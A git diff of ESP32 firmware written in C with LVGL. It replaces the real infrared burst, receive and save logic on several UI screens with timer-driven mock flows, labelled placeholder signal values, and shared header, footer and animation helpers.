lv_obj_set_style_border_width(s_screen, 0, 0); lv_obj_set_style_pad_all(s_screen, 0, 0); - lv_obj_t *top_area = lv_obj_create(s_screen); - lv_obj_set_size(top_area, LCD_H_RES - OUTER_BORDER * 2, TOP_BORDER_H); - lv_obj_align(top_area, LV_ALIGN_TOP_MID, 0, 0); - lv_obj_remove_flag(top_area, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(top_area, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(top_area, TOP_AREA_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(top_area, current_theme.border_interface, 0); - lv_obj_set_style_border_side(top_area, LV_BORDER_SIDE_BOTTOM, 0); - lv_obj_set_style_radius(top_area, 0, 0); - lv_obj_set_style_pad_all(top_area, 0, 0); - - lv_obj_t *title_bar = lv_obj_create(top_area); - lv_obj_set_size(title_bar, TITLE_BAR_W, TITLE_BAR_H); - lv_obj_align(title_bar, LV_ALIGN_CENTER, 0, 0); - lv_obj_remove_flag(title_bar, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(title_bar, TITLE_BAR_RADIUS, 0); - lv_obj_set_style_bg_opa(title_bar, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(title_bar, current_theme.bg_primary, 0); - lv_obj_set_style_bg_grad_color(title_bar, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(title_bar, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(title_bar, TITLE_BAR_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(title_bar, current_theme.border_accent, 0); - - lv_obj_t *title_lbl = lv_label_create(title_bar); - lv_label_set_text(title_lbl, "IR BURST"); - lv_obj_set_style_text_color(title_lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font(title_lbl, &lv_font_montserrat_14, 0); - lv_obj_center(title_lbl); + ui_chrome_header(s_screen, "IR BURST", "/assets/icons/burst_menu_icon.bin"); s_status_label = lv_label_create(s_screen); - lv_label_set_text(s_status_label, "Burst running..."); + lv_label_set_text(s_status_label, STATUS_BUSY); lv_obj_set_style_text_color(s_status_label, current_theme.text_main, 0); lv_obj_set_style_text_font(s_status_label, &lv_font_montserrat_14, 0); lv_obj_set_style_text_align(s_status_label, LV_TEXT_ALIGN_CENTER, 0); - lv_obj_align(s_status_label, LV_ALIGN_CENTER, 0, STATUS_LABEL_OFFSET_Y); + lv_obj_align(s_status_label, LV_ALIGN_TOP_MID, 0, STATUS_Y); s_count_label = lv_label_create(s_screen); - lv_label_set_text(s_count_label, "Scanning files..."); + lv_label_set_text_fmt(s_count_label, "0 / %d files", BURST_TOTAL); lv_obj_set_style_text_color(s_count_label, current_theme.border_accent, 0); lv_obj_set_style_text_font(s_count_label, &lv_font_montserrat_12, 0); lv_obj_set_style_text_align(s_count_label, LV_TEXT_ALIGN_CENTER, 0); - lv_obj_align(s_count_label, LV_ALIGN_CENTER, 0, COUNT_LABEL_OFFSET_Y); + lv_obj_align(s_count_label, LV_ALIGN_TOP_MID, 0, COUNT_Y); + + s_waves = waves_create(s_screen, LV_ALIGN_CENTER, 0, WAVES_Y, LV_SYMBOL_UPLOAD, NULL); - s_spinner = spinner_ui_create(s_screen, SPINNER_SIZE); - lv_obj_align(s_spinner.obj, LV_ALIGN_BOTTOM_MID, 0, SPINNER_OFFSET_Y); + s_footer = ui_chrome_footer(s_screen, HINT_BUSY); if (s_nav_timer == NULL) s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); + s_burst_timer = lv_timer_create(burst_tick_cb, BURST_TICK_MS, NULL); - xTaskCreate( - burst_task, "ir_burst", BURST_TASK_STACK_SIZE, NULL, BURST_TASK_PRIORITY, &s_burst_task); - - lv_screen_load(s_screen); + ui_screen_load(s_screen); } -static void send_one_file(const char *path) { - FILE *f = fopen(path, "r"); - if (f == NULL) - return; - - fseek(f, 0, SEEK_END); - long sz = ftell(f); - fseek(f, 0, SEEK_SET); - - if (sz <= 0 || sz > IR_FILE_MAX_SIZE) { - fclose(f); - return; - } - - char *buf = malloc(sz + 1); - if (buf == NULL) { - ESP_LOGE(TAG, "Failed to allocate buffer for %s", path); - fclose(f); - return; - } - - fread(buf, 1, sz, f); - buf[sz] = '\0'; - fclose(f); - - ir_file_t ir_file; - ir_file_init(&ir_file); - - if (ir_file_parse(buf, &ir_file)) { - for (size_t i = 0; i < ir_file.count && !s_stop_requested; i++) { - ir_file_send(&ir_file.signals[i]); - vTaskDelay(pdMS_TO_TICKS(BURST_DELAY_MS)); - } - s_sent_count++; - } - - ir_file_free(&ir_file); - free(buf); -} - -static void burst_task(void *pvParameters) { - (void)pvParameters; - - ir_tx_init(); - - DIR *root = opendir(TOS_PATH_IR); - if (root == NULL) { - ESP_LOGE(TAG, "Failed to open IR path: %s", TOS_PATH_IR); - s_is_done = true; - s_burst_task = NULL; - vTaskDelete(NULL); +static void burst_tick_cb(lv_timer_t *timer) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(timer); + if (s_burst_timer == timer) + s_burst_timer = NULL; return; } - int total = 0; - struct dirent *proto_ent; - - while ((proto_ent = readdir(root)) != NULL) { - if (proto_ent->d_name[0] == '.' || proto_ent->d_type != DT_DIR) - continue; - - char sub_path[SUB_PATH_MAX_LEN]; - snprintf(sub_path, sizeof(sub_path), TOS_PATH_IR "/%.64s", proto_ent->d_name); - - DIR *sub = opendir(sub_path); - if (sub == NULL) - continue; - - struct dirent *fe; - while ((fe = readdir(sub)) != NULL) { - size_t len = strlen(fe->d_name); - if (len >= IR_FILE_EXT_LEN + 1 && - strcmp(fe->d_name + len - IR_FILE_EXT_LEN, IR_FILE_EXT) == 0) - total++; - } - closedir(sub); - } - - s_total_count = total; - rewinddir(root); - - while ((proto_ent = readdir(root)) != NULL && !s_stop_requested) { - if (proto_ent->d_name[0] == '.' || proto_ent->d_type != DT_DIR) - continue; - - char sub_path[SUB_PATH_MAX_LEN]; - snprintf(sub_path, sizeof(sub_path), TOS_PATH_IR "/%.64s", proto_ent->d_name); - - DIR *sub = opendir(sub_path); - if (sub == NULL) - continue; - - struct dirent *fe; - while ((fe = readdir(sub)) != NULL && !s_stop_requested) { - size_t len = strlen(fe->d_name); - if (len < IR_FILE_EXT_LEN + 1 || strcmp(fe->d_name + len - IR_FILE_EXT_LEN, IR_FILE_EXT) != 0) - continue; - - char file_path[FILE_PATH_MAX_LEN]; - snprintf(file_path, sizeof(file_path), "%.299s/%.255s", sub_path, fe->d_name); - send_one_file(file_path); - } - closedir(sub); + s_sent++; + lv_label_set_text_fmt(s_count_label, "%d / %d files", s_sent, BURST_TOTAL); + + if (s_sent >= BURST_TOTAL) { + lv_label_set_text(s_status_label, STATUS_DONE); + lv_obj_set_style_text_color(s_status_label, lv_color_hex(SIG_GREEN), 0); + lv_label_set_text_fmt(s_count_label, "%d signals sent", s_sent); + if (s_footer) + ui_chrome_footer_set_text(s_footer, HINT_DONE); + if (s_waves) + lv_obj_add_flag(s_waves, LV_OBJ_FLAG_HIDDEN); + lv_timer_delete(timer); + s_burst_timer = NULL; } - - closedir(root); - s_is_done = true; - s_burst_task = NULL; - vTaskDelete(NULL); } static void nav_timer_cb(lv_timer_t *timer) { @@ -267,35 +133,17 @@ static void nav_timer_cb(lv_timer_t *timer) { s_nav_timer = NULL; return; } - if (ui_input_is_locked()) return; - if (msgbox_is_open()) - return; - - if (!s_is_done && s_total_count > 0) - lv_label_set_text_fmt(s_count_label, "%d / %d files", s_sent_count, s_total_count); - - if (s_is_done) { - s_is_done = false; - spinner_ui_hide(&s_spinner); - lv_label_set_text(s_status_label, "Burst complete!"); - lv_label_set_text_fmt(s_count_label, "%d signals sent", s_sent_count); - } - bool is_back = back_button_is_down(); if (is_back && !s_btn_back_last) { - s_stop_requested = true; - if (s_burst_task != NULL) { - vTaskDelay(pdMS_TO_TICKS(BURST_STOP_WAIT_MS)); - if (s_burst_task != NULL) { - vTaskDelete(s_burst_task); - s_burst_task = NULL; - } + if (s_burst_timer != NULL) { + lv_timer_delete(s_burst_timer); + s_burst_timer = NULL; } + ESP_LOGI(TAG, "mock burst cancelled"); ui_switch_screen(SCREEN_IR_MENU); } - s_btn_back_last = is_back; -} \ No newline at end of file +} diff --git a/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c b/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c index 34050bd8f..bf6199092 100644 --- a/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c +++ b/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c @@ -16,310 +16,288 @@ #include "ir_receive_ui.h" #include -#include #include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "st7789.h" +#include "lvgl.h" #include "buttons_gpio.h" -#include "ir.h" -#include "ir_ac.h" -#include "ir_file.h" -#include "ir_protocol.h" -#include "keyboard_ui.h" -#include "msgbox_ui.h" -#include "spinner_ui.h" -#include "storage_mkdir.h" -#include "tos_storage_paths.h" +#include "capture_result_ui.h" +#include "notify_ui.h" +#include "sigwave_ui.h" +#include "ui_chrome.h" +#include "ui_feedback.h" #include "ui_manager.h" #include "ui_theme.h" +#include "waves_ui.h" static const char *TAG = "IR_RX_UI"; -#define OUTER_BORDER 4 -#define TOP_BORDER_H 46 -#define TOP_AREA_BORDER_WIDTH 3 -#define TITLE_BAR_W 170 -#define TITLE_BAR_H 30 -#define TITLE_BAR_RADIUS 12 -#define TITLE_BAR_BORDER_WIDTH 2 -#define STATUS_LABEL_OFFSET_Y 12 -#define DETAIL_LABEL_OFFSET_Y 35 -#define DETAIL_LABEL_MARGIN 20 -#define SPINNER_SIZE 30 -#define SPINNER_OFFSET_Y (-20) -#define NAV_TIMER_INTERVAL_MS 50 -#define KB_OPEN_DELAY_MS 300 -#define RX_TASK_STACK_SIZE 4096 -#define RX_TASK_PRIORITY 5 -#define RX_TIMEOUT_MS 15000 -#define IR_DIR_MAX_LEN 300 -#define IR_PATH_MAX_LEN 300 -#define IR_BUF_MAX_LEN 512 -#define IR_DETAIL_BUF_LEN 128 +#define SIG_GREEN 0x00E676 + +#define HEADER_TITLE_Y 10 +#define HEADER_RULE_Y 32 +#define HEADER_RULE_W 70 +#define HEADER_RULE_H 2 +#define HEADER_RULE_RADIUS 1 + +#define STATUS_Y 48 +#define DETAIL_Y 66 + +#define NAV_TIMER_MS 50 +#define CAPTURE_MS 2200 +#define DOT_CYCLE_MS 350 + +#define CARD_W 162 +#define CARD_H 82 +#define CARD_RADIUS 12 +#define CARD_BORDER 2 +#define CARD_Y_OFS -28 +#define CARD_RISE_PX 70 +#define CARD_RISE_MS 450 + +#define IR_ICON "/assets/icons/ir_icon.bin" + +#define STATUS_IDLE "Press OK to start" +#define STATUS_BUSY "Waiting for signal" +#define STATUS_CAPTURED "Signal captured!" +#define STATUS_SAVED "Signal saved!" + +#define DETAIL_AIM "Point remote at device" +#define CARD_INFO LV_SYMBOL_OK " NEC 0x04 / 0x08" + +#define HINT_IDLE "OK = Capture BACK = Exit" +#define HINT_BUSY "BACK to cancel" +#define HINT_SHOW "BACK = Exit" +#define HINT_CAPTURED "UP/DOWN choose OK do BACK exit" + +#define REVEAL_MS 3000 + +typedef enum { + ST_IDLE = 0, + ST_CAPTURING, + ST_CAPTURED, + ST_OPTIONS, +} rx_state_t; static lv_obj_t *s_screen = NULL; static lv_timer_t *s_nav_timer = NULL; +static lv_timer_t *s_capture_timer = NULL; static lv_obj_t *s_status_label = NULL; static lv_obj_t *s_detail_label = NULL; -static spinner_ui_t s_spinner; +static lv_obj_t *s_hint_label = NULL; +static lv_obj_t *s_waves = NULL; +static lv_obj_t *s_sig = NULL; +static lv_obj_t *s_card = NULL; +static capture_result_t s_cr = {0}; +static rx_state_t s_state = ST_IDLE; +static uint32_t s_capture_start = 0; +static uint32_t s_captured_at = 0; +static bool s_saved = false; static bool s_btn_back_last = false; static bool s_btn_ok_last = false; -static TaskHandle_t s_rx_task_handle = NULL; -static volatile bool s_is_rx_done = false; -static volatile bool s_is_rx_success = false; -static volatile bool s_is_rx_ac = false; -static volatile bool s_is_rx_raw = false; -static ir_data_t s_rx_result; -static ir_ac_state_t s_rx_ac_result; -static rmt_symbol_word_t s_rx_raw[IR_MAX_SYMBOLS]; -static size_t s_rx_raw_count = 0; - -static void rx_task(void *pvParameters); -static void on_save_result(bool is_confirm); -static void on_name_entered(const char *text, void *user_data); -static void deferred_kb_open(lv_timer_t *timer); -static void on_ask_save(bool is_confirm); -static void show_waiting(void); -static void show_result(void); +static bool s_btn_right_last = false; +static bool s_btn_up_last = false; +static bool s_btn_down_last = false; + static void nav_timer_cb(lv_timer_t *timer); +static void capture_done_cb(lv_timer_t *timer); + +static void stop_capture_timer(void) { + if (s_capture_timer != NULL) { + lv_timer_delete(s_capture_timer); + s_capture_timer = NULL; + } +} + +static void clear_result(void) { + if (s_card != NULL) { + lv_obj_del(s_card); + s_card = NULL; + } + capture_result_destroy(&s_cr); +} + +static void card_rise_cb(void *var, int32_t v) { + lv_obj_set_style_translate_y((lv_obj_t *)var, v, 0); +} + +static void set_status(const char *text, bool success) { + if (s_status_label == NULL) + return; + lv_label_set_text(s_status_label, text); + lv_obj_set_style_text_color( + s_status_label, success ? lv_color_hex(SIG_GREEN) : current_theme.text_main, 0); +} + +static void set_hint(const char *text) { + if (s_hint_label != NULL) + ui_chrome_footer_set_text(s_hint_label, text); +} + +static void start_capture(void) { + clear_result(); + s_state = ST_CAPTURING; + s_saved = false; + s_capture_start = lv_tick_get(); + if (s_status_label) + lv_obj_remove_flag(s_status_label, LV_OBJ_FLAG_HIDDEN); + if (s_detail_label) + lv_obj_remove_flag(s_detail_label, LV_OBJ_FLAG_HIDDEN); + set_status(STATUS_BUSY, false); + if (s_detail_label) + lv_label_set_text(s_detail_label, DETAIL_AIM); + if (s_waves) + lv_obj_remove_flag(s_waves, LV_OBJ_FLAG_HIDDEN); + if (s_sig) + lv_obj_remove_flag(s_sig, LV_OBJ_FLAG_HIDDEN); + set_hint(HINT_BUSY); + + s_capture_timer = lv_timer_create(capture_done_cb, CAPTURE_MS, NULL); + lv_timer_set_repeat_count(s_capture_timer, 1); +} + +static void capture_done_cb(lv_timer_t *timer) { + (void)timer; + s_capture_timer = NULL; + if (lv_screen_active() != s_screen) + return; + + s_state = ST_CAPTURED; + if (s_waves) + lv_obj_add_flag(s_waves, LV_OBJ_FLAG_HIDDEN); + if (s_sig) + lv_obj_add_flag(s_sig, LV_OBJ_FLAG_HIDDEN); + set_status(STATUS_CAPTURED, true); + if (s_detail_label) + lv_label_set_text(s_detail_label, ""); + + s_card = lv_obj_create(s_screen); + lv_obj_remove_flag(s_card, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(s_card, CARD_W, CARD_H); + lv_obj_align(s_card, LV_ALIGN_CENTER, 0, CARD_Y_OFS); + lv_obj_set_style_radius(s_card, CARD_RADIUS, 0); + lv_obj_set_style_bg_opa(s_card, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(s_card, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(s_card, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(s_card, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_border_width(s_card, CARD_BORDER, 0); + lv_obj_set_style_border_color(s_card, current_theme.border_accent, 0); + lv_obj_set_style_pad_all(s_card, 6, 0); + + lv_obj_t *info = lv_label_create(s_card); + lv_label_set_text(info, CARD_INFO); + lv_obj_set_style_text_color(info, current_theme.text_main, 0); + lv_obj_set_style_text_font(info, &lv_font_montserrat_12, 0); + lv_obj_align(info, LV_ALIGN_TOP_MID, 0, 0); + + sigwave_create_static(s_card, LV_ALIGN_BOTTOM_MID, 0, -2); + + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, s_card); + lv_anim_set_exec_cb(&a, card_rise_cb); + lv_anim_set_values(&a, CARD_RISE_PX, 0); + lv_anim_set_duration(&a, CARD_RISE_MS); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); + + s_captured_at = lv_tick_get(); + set_hint(HINT_SHOW); + ESP_LOGI(TAG, "mock capture done"); + ui_feedback(UI_FB_READ); +} + +static void show_options(void) { + if (s_card != NULL) { + lv_obj_del(s_card); + s_card = NULL; + } + if (s_status_label) + lv_obj_add_flag(s_status_label, LV_OBJ_FLAG_HIDDEN); + if (s_detail_label) + lv_obj_add_flag(s_detail_label, LV_OBJ_FLAG_HIDDEN); + + capture_result_cfg_t cfg = { + .accent = current_theme.border_accent, + .card_icon = IR_ICON, + .card_title = "Signal captured", + .card_sub = "NEC protocol", + .card_value = "cmd 0x04 / 0x08", + .primary_label = "Send", + .again_label = "Receive again", + }; + s_cr = capture_result_create(s_screen, &cfg); + s_state = ST_OPTIONS; + set_hint(HINT_CAPTURED); +} void ui_ir_receive_open(void) { if (s_screen != NULL) { lv_obj_del(s_screen); s_screen = NULL; } - - s_is_rx_done = false; - s_is_rx_success = false; - s_rx_task_handle = NULL; + stop_capture_timer(); + s_card = NULL; + s_cr = (capture_result_t){0}; + s_state = ST_IDLE; + s_saved = false; + s_btn_back_last = false; + s_btn_ok_last = false; + s_btn_right_last = false; + s_btn_up_last = false; + s_btn_down_last = false; s_screen = lv_obj_create(NULL); lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_border_width(s_screen, OUTER_BORDER, 0); - lv_obj_set_style_border_color(s_screen, current_theme.border_interface, 0); + lv_obj_set_style_border_width(s_screen, 0, 0); lv_obj_set_style_pad_all(s_screen, 0, 0); - lv_obj_t *top_area = lv_obj_create(s_screen); - lv_obj_set_size(top_area, LCD_H_RES - OUTER_BORDER * 2, TOP_BORDER_H); - lv_obj_align(top_area, LV_ALIGN_TOP_MID, 0, 0); - lv_obj_remove_flag(top_area, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(top_area, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(top_area, TOP_AREA_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(top_area, current_theme.border_interface, 0); - lv_obj_set_style_border_side(top_area, LV_BORDER_SIDE_BOTTOM, 0); - lv_obj_set_style_radius(top_area, 0, 0); - lv_obj_set_style_pad_all(top_area, 0, 0); - - lv_obj_t *title_bar = lv_obj_create(top_area); - lv_obj_set_size(title_bar, TITLE_BAR_W, TITLE_BAR_H); - lv_obj_align(title_bar, LV_ALIGN_CENTER, 0, 0); - lv_obj_remove_flag(title_bar, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(title_bar, TITLE_BAR_RADIUS, 0); - lv_obj_set_style_bg_opa(title_bar, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(title_bar, current_theme.bg_primary, 0); - lv_obj_set_style_bg_grad_color(title_bar, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(title_bar, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(title_bar, TITLE_BAR_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(title_bar, current_theme.border_accent, 0); - - lv_obj_t *title_lbl = lv_label_create(title_bar); - lv_label_set_text(title_lbl, "IR LEARN"); - lv_obj_set_style_text_color(title_lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font(title_lbl, &lv_font_montserrat_14, 0); - lv_obj_center(title_lbl); + ui_chrome_header(s_screen, "Learn", "/assets/icons/learn_icon.bin"); s_status_label = lv_label_create(s_screen); - lv_label_set_text(s_status_label, "Press OK to start"); + lv_label_set_text(s_status_label, STATUS_IDLE); lv_obj_set_style_text_color(s_status_label, current_theme.text_main, 0); lv_obj_set_style_text_font(s_status_label, &lv_font_montserrat_14, 0); lv_obj_set_style_text_align(s_status_label, LV_TEXT_ALIGN_CENTER, 0); - lv_obj_align(s_status_label, LV_ALIGN_TOP_MID, 0, TOP_BORDER_H + STATUS_LABEL_OFFSET_Y); + lv_obj_align(s_status_label, LV_ALIGN_TOP_MID, 0, STATUS_Y); s_detail_label = lv_label_create(s_screen); lv_label_set_text(s_detail_label, ""); lv_obj_set_style_text_color(s_detail_label, current_theme.border_accent, 0); lv_obj_set_style_text_font(s_detail_label, &lv_font_montserrat_12, 0); lv_obj_set_style_text_align(s_detail_label, LV_TEXT_ALIGN_CENTER, 0); - lv_obj_set_width(s_detail_label, LCD_H_RES - OUTER_BORDER * 2 - DETAIL_LABEL_MARGIN); - lv_obj_align(s_detail_label, LV_ALIGN_TOP_MID, 0, TOP_BORDER_H + DETAIL_LABEL_OFFSET_Y); + lv_obj_align(s_detail_label, LV_ALIGN_TOP_MID, 0, DETAIL_Y); - s_spinner = spinner_ui_create(s_screen, SPINNER_SIZE); - lv_obj_align(s_spinner.obj, LV_ALIGN_BOTTOM_MID, 0, SPINNER_OFFSET_Y); - spinner_ui_hide(&s_spinner); + s_waves = waves_create(s_screen, LV_ALIGN_CENTER, 0, 12, NULL, IR_ICON); + lv_obj_add_flag(s_waves, LV_OBJ_FLAG_HIDDEN); + s_sig = sigwave_create(s_screen, LV_ALIGN_BOTTOM_MID, 0, -28); + lv_obj_add_flag(s_sig, LV_OBJ_FLAG_HIDDEN); - if (s_nav_timer == NULL) - s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); - - lv_screen_load(s_screen); -} - -static void rx_task(void *pvParameters) { - (void)pvParameters; - ir_rx_init(); - - s_is_rx_ac = false; - s_is_rx_raw = false; - esp_err_t ret = ir_receive(&s_rx_result, RX_TIMEOUT_MS); - - if (ret == ESP_OK) { - s_is_rx_success = true; - } else if (ret == ESP_ERR_NOT_FOUND && - ir_get_last_raw(s_rx_raw, IR_MAX_SYMBOLS, &s_rx_raw_count) == ESP_OK && - s_rx_raw_count > 0) { - s_is_rx_success = true; - if (ir_ac_decode(s_rx_raw, s_rx_raw_count, &s_rx_ac_result)) - s_is_rx_ac = true; - else - s_is_rx_raw = true; - } else { - s_is_rx_success = false; - } + s_hint_label = ui_chrome_footer(s_screen, HINT_IDLE); - s_is_rx_done = true; - s_rx_task_handle = NULL; - vTaskDelete(NULL); -} + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); -static void on_save_result(bool is_confirm) { - if (is_confirm) { - if (s_status_label != NULL) - lv_label_set_text(s_status_label, "Press OK to start"); - if (s_detail_label != NULL) - lv_label_set_text(s_detail_label, ""); - } else { - ui_switch_screen(SCREEN_IR_MENU); - } + ui_screen_load(s_screen); } -static void on_name_entered(const char *text, void *user_data) { - (void)user_data; - - if (text == NULL || strlen(text) == 0) +static void capturing_tick(void) { + if (s_status_label == NULL) return; - - ir_file_t file; - ir_file_init(&file); - - const char *proto; - if (s_is_rx_ac) { - ir_file_add_raw_cfg_t cfg = { - .name = text, - .symbols = s_rx_raw, - .count = s_rx_raw_count, - .freq = ir_ac_carrier_freq(s_rx_ac_result.protocol), - }; - ir_file_add_raw(&file, &cfg); - proto = ir_ac_protocol_name(s_rx_ac_result.protocol); - } else if (s_is_rx_raw) { - ir_file_add_raw_cfg_t cfg = { - .name = text, - .symbols = s_rx_raw, - .count = s_rx_raw_count, - .freq = IR_CARRIER_HZ_DEFAULT, - }; - ir_file_add_raw(&file, &cfg); - proto = "RAW"; - } else { - ir_file_add_parsed(&file, text, &s_rx_result); - proto = ir_protocol_name(s_rx_result.protocol); - } - - char buf[IR_BUF_MAX_LEN]; - size_t len = ir_file_to_string(&file, buf, sizeof(buf)); - bool is_saved = false; - - if (len > 0) { - char dir[IR_DIR_MAX_LEN]; - snprintf(dir, sizeof(dir), TOS_PATH_IR "/%.64s", proto); - storage_mkdir_recursive(dir); - - char path[IR_PATH_MAX_LEN]; - snprintf(path, sizeof(path), TOS_PATH_IR "/%.64s/%.64s.ir", proto, text); - - FILE *f = fopen(path, "w"); - if (f != NULL) { - fwrite(buf, 1, len, f); - fclose(f); - is_saved = true; - ESP_LOGI(TAG, "Saved: %s", path); - } - } - - ir_file_free(&file); - - if (is_saved) - msgbox_open(LV_SYMBOL_OK, "Signal saved!", "Continue", "Exit", on_save_result); - else - msgbox_open(LV_SYMBOL_WARNING, "Failed to save!", "Continue", "Exit", on_save_result); -} - -static void deferred_kb_open(lv_timer_t *timer) { - (void)timer; - keyboard_open(NULL, on_name_entered, NULL); -} - -static void on_ask_save(bool is_confirm) { - if (is_confirm) { - lv_timer_t *kb_timer = lv_timer_create(deferred_kb_open, KB_OPEN_DELAY_MS, NULL); - lv_timer_set_repeat_count(kb_timer, 1); - } else { - if (s_status_label != NULL) - lv_label_set_text(s_status_label, "Press OK to start"); - if (s_detail_label != NULL) - lv_label_set_text(s_detail_label, ""); - } -} - -static void show_waiting(void) { - if (s_status_label != NULL) - lv_label_set_text(s_status_label, "Waiting for signal..."); - if (s_detail_label != NULL) - lv_label_set_text(s_detail_label, "Point remote at device"); - spinner_ui_show(&s_spinner); -} - -static void show_result(void) { - spinner_ui_hide(&s_spinner); - - if (s_is_rx_success) { - lv_label_set_text(s_status_label, "Signal captured!"); - - char buf[IR_DETAIL_BUF_LEN]; - if (s_is_rx_ac) { - if (s_rx_ac_result.power) { - snprintf(buf, - sizeof(buf), - "AC: %s\n%s %dC %s", - ir_ac_protocol_name(s_rx_ac_result.protocol), - ir_ac_mode_name(s_rx_ac_result.mode), - (int)s_rx_ac_result.temp_c, - ir_ac_fan_name(s_rx_ac_result.fan)); - } else { - snprintf(buf, sizeof(buf), "AC: %s\nOff", ir_ac_protocol_name(s_rx_ac_result.protocol)); - } - } else if (s_is_rx_raw) { - snprintf(buf, sizeof(buf), "Raw signal\n%u symbols", (unsigned)s_rx_raw_count); - } else { - snprintf(buf, - sizeof(buf), - "Protocol: %s\nAddress: 0x%08lX\nCommand: 0x%08lX", - ir_protocol_name(s_rx_result.protocol), - (unsigned long)s_rx_result.address, - (unsigned long)s_rx_result.command); - } - lv_label_set_text(s_detail_label, buf); - - msgbox_open(LV_SYMBOL_OK, "Save signal?", "Yes", "No", on_ask_save); - } else { - lv_label_set_text(s_status_label, "No signal detected"); - lv_label_set_text(s_detail_label, "Press OK to try again"); - } + int dots = ((lv_tick_get() - s_capture_start) / DOT_CYCLE_MS) % 4; + char buf[24]; + snprintf(buf, + sizeof(buf), + "%s%s", + STATUS_BUSY, + dots == 1 ? "." + : dots == 2 ? ".." + : dots == 3 ? "..." + : ""); + lv_label_set_text(s_status_label, buf); } static void nav_timer_cb(lv_timer_t *timer) { @@ -328,36 +306,69 @@ static void nav_timer_cb(lv_timer_t *timer) { s_nav_timer = NULL; return; } - if (ui_input_is_locked()) return; - if (msgbox_is_open()) - return; - - if (s_is_rx_done) { - s_is_rx_done = false; - show_result(); - } + if (s_state == ST_CAPTURING) + capturing_tick(); bool is_back = back_button_is_down(); bool is_ok = ok_button_is_down(); + bool is_right = ui_btn_right(); + bool is_up = ui_btn_up(); + bool is_down = ui_btn_down(); if (is_back && !s_btn_back_last) { - if (s_rx_task_handle != NULL) { - vTaskDelete(s_rx_task_handle); - s_rx_task_handle = NULL; - } + stop_capture_timer(); ui_switch_screen(SCREEN_IR_MENU); + return; } - if (is_ok && !s_btn_ok_last && s_rx_task_handle == NULL) { - s_is_rx_done = false; - s_is_rx_success = false; - show_waiting(); - xTaskCreate(rx_task, "ir_rx", RX_TASK_STACK_SIZE, NULL, RX_TASK_PRIORITY, &s_rx_task_handle); + if (s_state == ST_IDLE) { + if (is_ok && !s_btn_ok_last) + start_capture(); + } else if (s_state == ST_CAPTURED) { + if (lv_tick_get() - s_captured_at >= REVEAL_MS) + show_options(); + } else if (s_state == ST_OPTIONS) { + if (is_down && !s_btn_down_last) { + capture_result_next(&s_cr); + ui_feedback(UI_FB_NAV); + } + if (is_up && !s_btn_up_last) { + capture_result_prev(&s_cr); + ui_feedback(UI_FB_NAV); + } + if (is_ok && !s_btn_ok_last) { + switch (capture_result_selected(&s_cr)) { + case CAP_ACT_PRIMARY: + ui_switch_screen(SCREEN_IR_SEND); + return; + case CAP_ACT_SAVE: + if (!s_saved) { + s_saved = true; + capture_result_mark_saved(&s_cr); + ESP_LOGI(TAG, "mock signal saved"); + ui_feedback(UI_FB_WRITE); + notify(NOTIFY_SAVED, "IR signal saved"); + } + break; + case CAP_ACT_AGAIN: + start_capture(); + break; + case CAP_ACT_DISCARD: + stop_capture_timer(); + ui_switch_screen(SCREEN_IR_MENU); + return; + default: + break; + } + } } s_btn_back_last = is_back; s_btn_ok_last = is_ok; -} \ No newline at end of file + s_btn_right_last = is_right; + s_btn_up_last = is_up; + s_btn_down_last = is_down; +} diff --git a/firmware_p4/components/Applications/ui/screens/infrared/ir_saved_ui.c b/firmware_p4/components/Applications/ui/screens/infrared/ir_saved_ui.c index 7bbc40265..5e832bb0e 100644 --- a/firmware_p4/components/Applications/ui/screens/infrared/ir_saved_ui.c +++ b/firmware_p4/components/Applications/ui/screens/infrared/ir_saved_ui.c @@ -15,421 +15,122 @@ #include "ir_saved_ui.h" -#include -#include -#include - #include "esp_log.h" -#include "st7789.h" -#include "assets_manager.h" #include "buttons_gpio.h" -#include "text_viewer_ui.h" -#include "tos_storage_paths.h" +#include "menu_component_ui.h" #include "ui_manager.h" #include "ui_theme.h" static const char *TAG = "IR_SAVED_UI"; -#define OUTER_BORDER 4 -#define TOP_BORDER_H 46 -#define TOP_AREA_BORDER_WIDTH 3 -#define TITLE_BAR_W 170 -#define TITLE_BAR_H 30 -#define TITLE_BAR_RADIUS 12 -#define TITLE_BAR_BORDER_WIDTH 2 